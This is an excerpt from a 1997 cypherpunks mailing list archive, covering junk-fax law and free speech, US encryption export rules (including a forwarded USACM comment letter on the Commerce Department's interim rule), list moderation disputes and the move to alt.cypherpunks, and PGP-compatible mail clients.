To: cypherpunks@toad.com
Subject: More on digital postage
Message-ID: <199702141512.HAA07695@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim may says:

>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>violations of the First Amendment. I understand why the herd _wants_ these
>laws, as it reduces the costs involved in replacing fax paper, running to
>the telephone only to find someone trying to sell something, etc., but it
>is quite clearly a prior restraint on speech, however well-intentioned.

I have to disagree here.  The junk fax law is a restraint on unauthorised
use of property, i.e. *my* fax machine, *my* phone, etc. 

That tort of unauthorised use of property applies, whether someone's sending
me a fax to sell me spamming software, or whether it's some kid ringing
my doorbell and running away.  It's not the speech that I'm fighting, it's 
the misuse of my property.

Freedom of speech does not confer a right to use other people's property.

-jcr








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Thu, 13 Feb 1997 17:26:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: crypto restrictions
Message-ID: <199702140126.RAA15888@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


hi guys,
i am a bit confused. what exactly are the us govt crypto regulations.
what i mean is that :

1) is it illegal to develop an encryption tool (s/w) in the US which
uses > 40 bit size session keys and then export that s/w outside of the
US.

2) is it illegal to encrypt some data inside the us with a key > 40 bit
in size and then send that data outside the US.

thanx.
anand....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 14 Feb 1997 08:11:03 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Fuck UseNet
Message-ID: <199702141611.IAA09309@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz wrote:
> alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> consiencous newsadmins probably did not honor the rmgroup, as
> alt.cypherpunks should be acceptable, but most newsadmins are too
> overworked to actually look at most of the crap that comes through.

> Therefore, it would be a Good Thing to continue any discussion on
> alt.config, and convince any cabal'ers who rmgroup it to re-new it.
> Sending out boosters every couple of weeks wouldn't hurt, either.

  So, basically, you're saying that the flight from censorship should
be toward a new CypherPunk 'home' where one is effectively censored
automatically unless one kisses the ass of a Cabal?

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 14 Feb 1997 09:00:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: USACM analysis of Commerce Dept crypto export proposals
Message-ID: <199702141700.JAA10626@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Fri, 14 Feb 1997 08:28:28 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: USACM analysis of Commerce Dept crypto export proposals

February 12, 1997


Nancy Crowe
Regulatory Policy Division
Bureau of Export Administration
Department of Commerce
Room 2705
14th Street and Pennsylvania Ave., N.W.
Washington, D.C. 20230.

Docket No. 960918265-6366-03

Dear Ms. Crowe

        The United States Public Policy Committee for the Association for
Computing (USACM) welcomes this opportunity to submit our views on the
Interim Rule issued by the Department of Commerce with regard to
"Encryption Items Transferred From the United States Munitions List to the
Commerce Control List."  The USACM believes it is in the best interest of
the U.S. government to promote the widespread use of strong encryption.
>From our perspective the Interim Rule fails to recognize the legitimate
needs and interests of academic, professional, scientific, and ordinary
users of telecommunications technology.  Thus, the Interim Rule must be
modified before it can resolve the many problems with the current export
controls on encryption technologies.

Introduction and Summary

        The Association for Computing is an international professional
society whose 76,000 members (60,000 in the U.S.) represent a critical
mass of computer scientists in education, industry, and government.  The
USACM provides a means for promoting dialogue on technology policy issues
with United States policy makers and the general public. We have
identified a number of serious problems with specific provisions of the
Interim Rule.

        As a professional society of computer scientists which produces a
number of peer-reviewed technical journals, we are concerned that the
Interim Rule will hamper both communication and education in our field.
Part 7.34.3 (b)(3) which refers to the distinction between printed and
electronic publications of cryptographic materials is unworkable under the
new paradigms of electronic publishing and communications. Electronic
media, including the World Wide Web, listserves, Usenet news groups, and
video conferencing are becoming the prominent means by which scientists
communicate.  Provisions of the Rule, specifically Parts 7.34.9 and 744.9,
which affect teaching cryptography to foreign students are vague and
contradictory.  Educational environments are not limited to academic
institutions but also occur in national and industry labs and by distance
education.  Restrictions on cryptography exports must not interfere with
the traditional freedom of access over digital networks which is
indispensable to maintain motivated and effective academic and research
communities.

        We also believe that the development of public policies and
technical standards for communications technologies, such as a Key
Recovery Infrastructure (KRI), raise vital issues of privacy,
competitiveness, and scientific innovation.  Parts 740.8 and 742.15 raise
a number of troubling issues for the computing community.  We believe it
is unwise for the Commerce Department to link relaxing export controls on
56-bit encryption to the development of a KRI as both the desirability and
the feasibility of such a system remains uncertain. Key recovery products
have not yet been subject to the vigorous testing necessary for a proposed
standard and there is little understanding of how such a system would
operate and what controls would be needed to ensure that it remained
secure.  Also, Supplement No. 7 to part 742 (which requires that
businesses who wish to export 56-bit encryption before 1998 submit a
biannual business plan for developing key recovery products) will stifle
the innovation of new cryptography technologies and discourage the process
of scientific innovation.  We believe the Commerce Department should not
promulgate regulations which prohibit U.S. research and development from
responding to market demands and limit the ability of Americans using new
on-line services to protect their privacy.

Analysis

        The USACM has identified electronic publication, education,
research and development, key recovery, and privacy as problematic areas
which need addressing.  We have outlined our concerns below:

Electronic Publishing

        It is unreasonable and unconstitutional to distinguish between
printed and electronic distribution of encryption source code as set forth
in the note to Part 7.34.3 (b)(2) and (b)(3).  A Federal Court in
California has ruled in Bernstein v. U.S. Department of State that source
code is speech and is thus protected under the first amendment.  This
distinction is also currently being challenged in a federal court in the
District of Columbia in Karn v. U.S. Department of State.  The USACM
joined the Electronic Privacy Information Center, the American Civil
Liberties Union, and the Internet Society in submitting an Amici Curiae
brief in the case which argued that such language is an impermissible
regulation aimed at the suppression of expression. As computer scientists
we see no practical reason why the Commerce Department should insist on
creating a distinction when one does not exist.

        The ACM is the publisher of numerous scientific publications and
conference proceedings.  They range from our flagship journal
Communications of the ACM (CACM) to the on-line, peer-reviewed journal
Experimental Algorithms.  All 76,000 members of ACM, including 15,000
members overseas, receive CACM by mail and have access to ACM's on-line
publications. ACM foresees a time when all its publishing will be
electronic and on-line.  At that time, it will need interoperable
encryption technology available in the U.S. and in its mirror sites abroad
to dispense its material.  Its subscribers worldwide will need access to
secure, commercial encryption as well.

        An article which described the development of a new cryptographic
algorithm would likely appear in one of the many technical journals or
conference proceedings published by ACM or the Institute for Electronics
and Electrical Engineers (IEEE), another international professional
society.  In fact a number of the groundbreaking articles in the field of
cryptography science were originally published by ACM and IEEE.
Publication of encryption algorithms is extremely important to the field
of cryptography.  In order for an algorithm to be trusted, it must be
challenged.  To do that, the code must be made widely available.  Foreign
members of ACM will be unable to access in electronic format the same
articles they currently receive in the printed journal.  And, it is
technically impossible, at this late date, to partition ACM's publications
into distinct paper and electronic (hence encryptable) media.

        Electronic communications, including the World Wide Web, list
serves, Usenet news groups, and video conferencing are becoming the
prominent means by which scientists communicate.  Science is a global
pursuit and there exists a open communications network between scientists
in different countries.  Part 734.2 which prohibits making cryptographic
software available outside the U.S. will not only eliminate this
international communication but also technical communication among U.S.
scientists.  In electronic communications it is not always clear to whom
the information is being transmitted.  WWW sites and Usenet news groups
are accessible by anyone with a modem.  Video conferences can be
retransmitted overseas and moderated listserves are difficult to control.
The Interim Rule refers to an individual taking "precautions adequate to
prevent unauthorized transfer of such code outside the U.S."  It is our
belief that it would be impossible to be certain of any precautions taken.
This will effectively eliminate all communications on electronic media
that describe or discuss cryptographic source code.

        We believe the interim rule must be revised to eliminate the
distinction between printed and electronic source code and to allow for
open communications within scientific communities.  Restricting these
communications will retard the evolution of the science and the
development of new algorithms and cryptographic devices.

Education

        Many ACM members are computer science professors and teachers, so
we are concerned about the contradictions in the proposed regulations with
regards to education.  A number of fields and sub-fields address
cryptography as part of their curricula.  Part 734.9 states that
"Educational Information" is not subject to the new regulations if it is
"released by instruction in catalog courses and associated teaching
laboratories of academic institutions." Computer science, mathematics,
engineering, and electronic security may all include technical instruction
in encryption technologies and would be covered in U.S. university
classrooms.  However, questions arise with regard to distance and home or
overseas education because of Part 744.9.  It states that "No U.S. person
may, without a license from BXA, provide technical assistance (including
training) to foreign persons with the intent to aid a foreign person in
the development or manufacture outside the United States..."  While Part
744.9 defines a U.S. person it does not define "technical assistance" or
"training."  It is uncertain whether a U.S. professor teaching a course in
which foreign students are registered, or teaching a course in
cryptography overseas would be "training" a foreigner to develop a
cryptographic device if the course work was more detailed than "a
discussion of information about cryptography."  This would affect course
studies as disparate as 'number theory' and 'local area networks'.

        Also, educational environments are not limited to academic
institutions but are also found in national and industry labs.  Many
computer scientists receive their first hands on training after they
graduate from their University.  It is unclear whether this "training" or
"technical assistance" is in violation of the Interim Rule.  The intent of
the training is give the new employee the practical tools necessary to
participate in the field of cryptography science, and is not necessarily
intended to be project or employer specific.  While the General
prohibition in Part 744.9 discusses the meaning of intent as applied to an
academic setting, it is not clear if "academic setting" can be applied to
instruction which occurs outside of the University environment.

        The argument made previously with regard to digital media also
applies to education. As part of their course work, students often use
electronic media as resources (WWW, digital libraries, CD-ROMs), as a
communication device for the class outside the classroom (electronic mail,
listserves), and to learn from listening to the discussions among research
scientists (Usenet groups, listserves).  Part 7.34.3 (b)(3) which covers
encryption source code in electronic form or media will restrict these
types of educational instruction.  Instructors will be unable to take
advantage of digital media in their courses.  Students studying
cryptography will be unfairly disadvantaged as they will be unable to
access valuable resources even in the process of furthering their
education.

        The USACM believes the contradictions in Parts 7.34 and 744.9 must
be resolved in a clear manner so educators are not required to reduce the
quality of their courses for fear of misinterpreting the Interim Rule.
Specifically, "academic setting," "training," and "technical assistance"
must be defined, and distance education, and academic research and
communication must be addressed.

Research and Development

        Encryption policies must reflect the needs of the global market.
The international demand for products which incorporate strong
cryptographic tools is growing. Such products are widely available and
produced by a number of nations.  U.S. scientists have been prominent in
the development of current encryption technologies.  The field has
developed though research and development efforts along many different
tangents, only one of which describes key recovery products.  There is
little evidence that the demand for cryptography tools is limited to those
products which incorporate key recovery protocols. Part 742.15 (which
states that businesses must submit a business plan for the development of
key recovery products before they may export 56- bit software;  the
license must be renewed biannually until 1998 when only key recovery
products will be allowed for export)  will restrict the U.S. to producing
only products which incorporate KRI protocols.

        Mandating that businesses develop key recovery products will also
impede the natural market development of novel and innovative systems.
Part 740 hypothesizes that a worldwide KRI will be desirable, feasible,
and in place by 1998.  However it is unclear whether key recovery is the
best alternative.  Research along new tangents will continue in non-
industry and non-U.S. settings.  A new protocol may be discovered which is
considered a better choice for a worldwide infrastructure.  There will
exist a great market demand for variety in choosing a security system to
fit the needs of the distinct commercial group.  If this happens U.S.
scientists and industry will be at a disadvantage as they will have only a
core competence in key recovery protocols as per Part 740.8.

        There are a variety of commercial groups interested in utilizing
the Internet for business interactions and transactions. Without
interoperable encryption programs, commercial needs in an increasing
global environment cannot be met.  Supplement No. 4 to Part 742 states
that a product can not interact with another product whose key recovery
system has been "altered, bypassed, disabled, or otherwise rendered
inoperative."  This will be a major source of problems for researchers and
educators, as well as government and commercial institutions.  The result
of a system not being able to talk to another system because of an
intentional or accidental disabling of the KRI protocols can have a very
large impact on telemedicine, research, government operations, and
commercial enterprises.

        The USACM believes the Interim Rule should be rewritten to avoid
dissuading innovation and development and eliminating the U.S.'s core
competency in cryptography.  It should also recognize the need for
consistency in interoperable systems.

Key Recovery

        The USACM recognizes that there is a real market demand for key
recovery products from business and government employers.  However, the
viability of a KRI has not yet been determined.  It has not yet been
subject to the vigorous testing necessary for a proposed standard.  There
is little understanding of how such a system would operate and what
controls would be needed to ensure that it remained secure.  Part 740
describes the development of a Key Recovery Infrastructure within two
years.  We believe it is unwise for the United States to insist on the
development of a untested, unproved technology for a worldwide
infrastructure. The National Research Council report stated that a
feasibility study needed to be performed on a smaller scale before key
escrow could be seriously proposed for commercial applications.  We
believe this warning applies to KRI as well.  While key recovery tools may
be appropriate in some settings, we believe it would be wrong to impose
such restrictions on users or businesses and the Interim Rule should not
dictate that businesses limit their research to a potentially unworkable
system.

Privacy

       The USACM believes that certain principles should be reflected in a
national cryptography policy.  Encryption should be used for privacy
protection and to encourage the development of technologies and
institutional practices which will provide real privacy for the future
users of the NII and real security for the protection of the system. The
USACM believes that transferring the regulation of cryptography to the
Commerce Department could establish United States leadership in protecting
the privacy rights of its citizens.  However the Interim Rule fails to do
that.

Conclusion

       We recognize that the government has a legitimate interest in
protecting national security. However, whether or not the worldwide
infrastructure is achieved, the role of national security agencies will
remain difficult.  The government's proposal to balance national security,
business, and privacy interests by creating a Key Recovery Infrastructure
within the next two years is overly aggressive.  We suggest that the
development of a policy that serves the long term interests of our
nation's security will not be one based on a Key Recovery Infrastructure,
but rather one that anticipates the widespread availability of strong
encryption and the multifaceted demands of a global economy.  Toward that
end, the interests in protecting open research within the U.S. academic
community will be crucial.

Sincerely,




Barbara Simons, Ph.D
Chair, United States Public Policy Office for the
Association for Computing

        The ACM, founded in 1947, is an international non-profit
educational and scientific society dedicated to the development and use of
information technology, and to addressing the impact information
technology has on the world's major social challenges. The Association's
activities include the publication of scholarly journals and the
sponsorship of special interest groups (SIGS) in numerous disciplines. ACM
has 76,000 members.  The 60,000 who reside in the United States are
academic, professional, scientific, and ordinary users of
telecommunications technology and have a strong interest in the
development of sound encryption policies. The USACM provides a means for
promoting dialogue on technology policy issues with United States policy
makers and the general public. We respond to requests for information and
technical expertise from United States government agencies and
departments, seeks to influence relevant United States government policies
on behalf of the computing community and the public, and provides
information to the ACM on relevant United States government activities.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Fri, 14 Feb 1997 07:11:12 -0800 (PST)
To: anand abhyankar <anand@querisoft.com>
Subject: Re: crypto restrictions
Message-ID: <199702141511.HAA07618@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


anand abhyankar <anand@querisoft.com> writes:

> 1) is it illegal to develop an encryption tool (s/w) outside the US
> which uses > 40 bit size session keys and then import that s/w inside of
> the US.

Not currently.

-derek

-- 
       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board  (SIPB)
       URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
       warlord@MIT.EDU                        PGP key available





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 14 Feb 1997 07:11:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702141511.HAA07640@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:
>        But the veteran cypherpunk came under heavy fire in November 1996,
>    when a loudmouthed flamer flooded the list with flame bait and ad
>    hominem attacks on various members. Finally, Gilmore, ironically, gave
>    him the boot [...]
>
>        Indeed, for months Gilmore seemed unable to do anything right. He
>    tried moderation, which proved to be even more contentious, [...]
>    
>        After the expulsion, some of the longtime list denizens left
>    angrily, joining the 700 subscribers who had departed since the
>    controversy began. One of those was Tim C. May, a crusty former Intel
>    engineer who prides himself as the organizer of the first cypherpunk
>    meeting in September 1992. 

Tim left when the moderation experiment started, not after John
unsubscribed Dimitri, and blocked him from re-subscribing.

What does `crusty' mean as applied to a former Intel engineer?

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@magna.com.au>
Date: Thu, 13 Feb 1997 15:26:38 -0800 (PST)
To: perry@piermont.com
Subject: Re: Transmission of Crypto material and ITAR
Message-ID: <199702132326.PAA13573@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>The answer is that no one knows, but if the doctrines that apply to
>cargo in transit between countries applied, there would be no
>consequence to it. Of course, that doesn't mean that there will not be
>consequences associated with this given U.S. governmental insanity.

Or it could be dealt with differently, as with a ship that docks for
refueling carrinyg munitions (a catergory shared with crypto), or nuclear
waste (not quite, but you get my point...)

Ben

----------------------------------------------------------------
  Benjamin Grosman - Programmer, Magna Data Internet Solutions
  Quidquid latine dictum sit, altum viditur.
                  [Whatever is said in Latin sounds profound.]
----------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 15:28:26 -0800 (PST)
To: "John C. Randolph" <cypherpunks@toad.com
Subject: Re: More on digital postage
Message-ID: <199702142328.PAA17058@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:31 AM -0800 2/14/97, John C. Randolph wrote:
>Tim may says:
>
>>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>>violations of the First Amendment. I understand why the herd _wants_ these
>>laws, as it reduces the costs involved in replacing fax paper, running to
>>the telephone only to find someone trying to sell something, etc., but it
>>is quite clearly a prior restraint on speech, however well-intentioned.
>
>I have to disagree here.  The junk fax law is a restraint on unauthorised
>use of property, i.e. *my* fax machine, *my* phone, etc.
>
>That tort of unauthorised use of property applies, whether someone's sending
>me a fax to sell me spamming software, or whether it's some kid ringing
>my doorbell and running away.  It's not the speech that I'm fighting, it's
>the misuse of my property.
>
>Freedom of speech does not confer a right to use other people's property.

Fair enough, John. I can agree that _tort law_ (civil) might be used. If
Party A can convince a jury that Party B did it real damage and can
quantify that damage, maybe Party A can collect.

My main objection is to to blanket laws, known as "junk mail" laws. The
rules for what constitutes "junk" are unclear and give the government
regulatory power which I think it should not have.

Imagine a bureaucrat deciding that solicitations to join the National Rifle
Association are "junk" and ordering the U.S. Postal Service to scrap all
such solicitations. Imagine further that alternate delivery systems, such
as UPS and FedEx are also notified that delivery of NRA material constitute
a crime.

(This is not so far-fetched, especially the "alternate delivery" point. If
the regulators declare a communication to be junk, it remains junk even if
delivered via a different route. If CyberPromotions tries fiddling with the
domain names, as they have, it remains junk to CompuServe and to the
District Court which upholds their decision to censor mail to customers.)

To paraphrase what the CompuServe customer said: "I'll decide what's junk
and what's not."

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 08:59:26 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Private property & the cypherpunks list(s)
Message-ID: <199702141659.IAA10584@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com allegedly said:
> 
> Firebeard wrote:
> > 
> > >>>>> Igor Chudov @ home writes:
> > 
> > IC> This is where the distributed nature of the list comes in.  if
> > IC> someone disagrees with Jim's AUP, he or she can use soem other
> > IC> mailing list host.
> > 
> > 	And once I'm up and running, my cypherpunks list server will
> > not be interconnected with any server which has a similar AUP.  The
> > implication of the AUP is that if you _don't_ comply with it, you will
> > be blocked.  Without such an implication, the AUP is meaningless, and
> > I'm dedicated that there should be no filtering/blocking of any kind,
> > of the list.  Persons behaving 'unacceptably' should be handled by
> > social pressures by others in the 'community' of the list, and not by
> > policies of the list operators.
> 
> Which is, again, a perfectly fine idea.
> 
> I would probably disconnect from any server that 
> 
> a) does not let certain messages go through (unless they are fighting a DOS
> attack) and
> b) Alters content of any messages.
> 

I can understand this sentiment, given the events of the past couple 
of months, but it seems short-sighted.  If this scheme grows there 
could be several hundred or more mailers involved, and there is no 
technical reason why moderated lists couldn't be included.

Remember that each list operator actually represents a community of 
users, users who are *free* to go elsewhere if they choose.  Clearly, 
some people would chose to populate a filtered list.  There is no 
reason whatsoever to discriminate against them.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <trei@process.com>
Date: Fri, 14 Feb 1997 07:13:00 -0800 (PST)
To: anand abhyankar <cypherpunks@toad.com
Subject: Re: crypto restrictions
Message-ID: <199702141513.HAA07700@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Fri, 14 Feb 1997 11:51:18 -0800
> From:          anand abhyankar <anand@querisoft.com>
> To:            cypherpunks@toad.com
> Subject:       Re: crypto restrictions

> Jeremiah A Blatz wrote:
> 
> thanx for ur answer but then i have another question.
> 
> 1) is it illegal to develop an encryption tool (s/w) outside the US
> which uses > 40 bit size session keys and then import that s/w inside of
> the US.
> 
> anand....

No.


Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Fri, 14 Feb 1997 08:58:53 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702141658.IAA10569@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk wrote:
> > > It is too late to stop alt.cypherpunks, but if I had to make a
> > > prediction again, I would predict that soon posters will BEG to help
> > > them create comp.*.cypherpunks, because of spam and alt.flamage.
> > 
> > Timmy has a valid point: the reason why a comp.* newsgroup might have less
> > cross-posted and "off-topic" crap is because net.cops would be more
> > likely to complain to posters' sysadmins. Having a charter state that
> > cypherpunks have technical means to ignore traffic they don't like,
> > and don't need anyone forging cancels or complaining to sysadmins
> > or otherwise getting silenced, is a good idea.
> 
> I don`t believe for one moment that, however well intentioned such a 
> move would be, it would work. The most notorious net.cops who 
> thoroughly deserve the (spit) after their name would take little 
> notice of such a charter and take it upon themselved to "act in the 
> best interests of the usenet community"

That is not necessarily true.

I asked Chris Lewis to not cancel any articles in
soc.culture.russian.moderated (of which I am one of moderators) and it
did not cause any problem. I was very pleased by his reaction.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Fri, 14 Feb 1997 15:27:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142327.PAA16974@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin writes:

> Just for the record.  I will not post to USENET given the spamming that
> seems to go to IDs that appear there.  

Helpful hint:  Mung your email address in a way which will confuse
bots, but not humans.  

"From: froomkin@[NO-SPAM]law.miami.edu" should work nicely.  This will
also eliminate mail from very clueless people.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 14 Feb 1997 15:28:18 -0800 (PST)
To: John Gilmore <declan@well.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702142328.PAA17039@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


My first reaction to the "Death of Cypherpunks" (Declan McCullagh's
article in http://netlynews.com Feb 12, 1997) is that it is another
example of "The Tragedy of the Commons." -- the (unsolvable) problem
of unlimited access to a limited resource. Cypherpunks was also
susceptable to the strange Internet phenomenon where people could be
proud of their anti-social, bad behavior (flame wars, "grafitti" in the
form of spam). For this reason, I suspect that the future of the Internet
in general, and Cyphperpunks in particular, will require serious editorial
control (as is done by the Risks and Privacy digests).

The only other alternative I can see would be to limit membership
-- but not limit what members might write. In the long term, I suppose
we'll have sufficiently intelligent software agents that can recognize
spam and flaming and invisibly delete them from our e-mail in-boxes.

What bothers me more than anything else about the "solutions" I've
seen proposed to the death of Cypherpunks is that they rely on
technology -- and reject human judgement -- to solve what is, in
reality, a social problem.  (One can certainly make the same argument
about the V-chip, browser porn filters, and similar hacks.)

Having been "on" the net for over 15 years -- and with experience
in both ends of the censorship/moderation problem  (I'm probably
the only Cypherpunks member to have had a book "banned in Boston"),
I'm sorry that a handful of sociopaths managed to destroy this
experiment in anarchy, but I suspect that this was inevitable.

Martin Minow
minow@apple.com

ps: (From McCullagh):
>       But for the true believers in crypto-anarchy, only one solution is
>   adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no
>   precedent... for halting distribution of Usenet newsgroups," Tim May
>   wrote. That, in the end, is what defines a cypherpunk.
>
Nope: alt.cypherpunks will not be distributed to many sites that would
accept an e-mail list. Also, it's too easy for the disgruntled to forge
cancel group messages. I'm afraid that human judgement is still required.










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fred Condo <fred@lightside.net>
Date: Sat, 15 Feb 1997 09:26:03 -0800 (PST)
To: cryptography@c2.net
Subject: Re: Waiting for Mac version [was Re: Full strength Email Clients]
Message-ID: <199702151726.JAA27024@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:30 PM -0800 2/13/97, P.J. Westerhof wrote:
>At 12:10 7-02-97 -0500, Timothy Hill wrote:
>>Meanwhile, a beta version of "Pretty Safe Mail"
>><http://www.highware.com/highware/PSM/safemail.htm> is available from
>>Highware in Belgium.  It's PGP compatible, and its user interface is a
>>great leap forward from any Mac PGP front end I've seen.  But, it still has
>>some deficiencies, it's very slow (25 seconds to sign this message on a 25
>>MHz 68040 vs. 4 seconds for ViaCrypt PGP 2.7.1), and (as was recently
>>discussed on a couple of these lists) its source code hasn't been published
>>or externally audited.
>
>And today - one week later - *no* version is currently available.
>I would say this adds to the reservations some of us may have had about PSM.
>Thus far PGPMail 4.5 leaves out not only Mac-users, but W3.11-users also. I
>have asked PGP.com what they intend to do about the 3.11-users
>(W32s-enhanced or not). Since I'm sticking to W3.11 for the time being:
>somebody else have any suggestions?

I notice that PSM has had a name change concurrent with its availability
change. Could the unavailability have to do with a trademark dispute
between Highware & PGP, Inc.?

Is Highware going to release the source code of VSM?

Is PGP, Inc. going to release the source code of PGPMail 4.5?

If the answer is no, I am sticking with the free PGP. If the answer is no,
I guess these firms are expecting ignorance to be the primary
characteristic of their customers.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jonathan M. Bresler" <jmb@frb.gov>
Date: Fri, 14 Feb 1997 08:59:10 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Need a good bi-directional mail-news gateway
Message-ID: <199702141659.IAA10576@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



	much as the irony of the idea appeals, i am not in a position
to offer a host/machine to run the list.  i *can* offer what i have
learned from running the FreeBSD mailing lists for 2+ years.

	so who has a host/machine, that we can use ;)
jmb

>At 3:18 pm -0500 2/12/97, Jonathan M. Bresler <jmb@frb.gov> wrote:
>                                                   ^^^^^^^
>>	your expected mail volume is 100,000+ messages a day?
>>
>>	i run lists that do 200,000+ routinely.
>>	recent peak of 350,000 messages
>>
>>	does that meet your needs?
>
>Great.
>
>Let's run cypherpunks with a government subsidy.
>
>;-).
>
>Pulling your leg, just a bit..
>
>Cheers,
>Bob Hettinga
>
>"So much for a geodesic monitary system..."
>
>
>-----------------
>Robert Hettinga (rah@shipwright.com), Philodox
>e$, 44 Farquhar Street, Boston, MA 02131 USA
>"Never attribute to conspiracy what can be
>explained by stupidity." -- Jerry Pournelle
>The e$ Home Page: http://www.shipwright.com/rah/
>FC97: Anguilla, anyone? http://www.ai/fc97/
>
>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 14 Feb 1997 08:11:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702141611.IAA09307@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 14 Feb 1997, Jim Choate wrote:

> I am taking intellectual property rights from nobody. If anything I am
> giving unlimited intellectual rights to the material to humankind for
> posterity. Sorta cypherpunkish, don't you think?

I am amused by this. Jim's plan sounds much less cypherpunkish than
collectivist. Communal property, ho!

After all, workers have nothing to lose in this revolution but their
chains. They have a world to gain. Workers of the world, unite! 

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Fri, 14 Feb 1997 08:11:25 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702141611.IAA09328@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Just for the record.  I will not post to USENET given the spamming that
seems to go to IDs that appear there.  

If any of you reading this are interested in law&crypto topics, please
bookmark my homepage, and vist every so often.

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 07:11:32 -0800 (PST)
To: Eric Cordian <emc@wire.insync.net>
Subject: Re: alt.cypherpunks
Message-ID: <199702141511.HAA07647@toad.com>
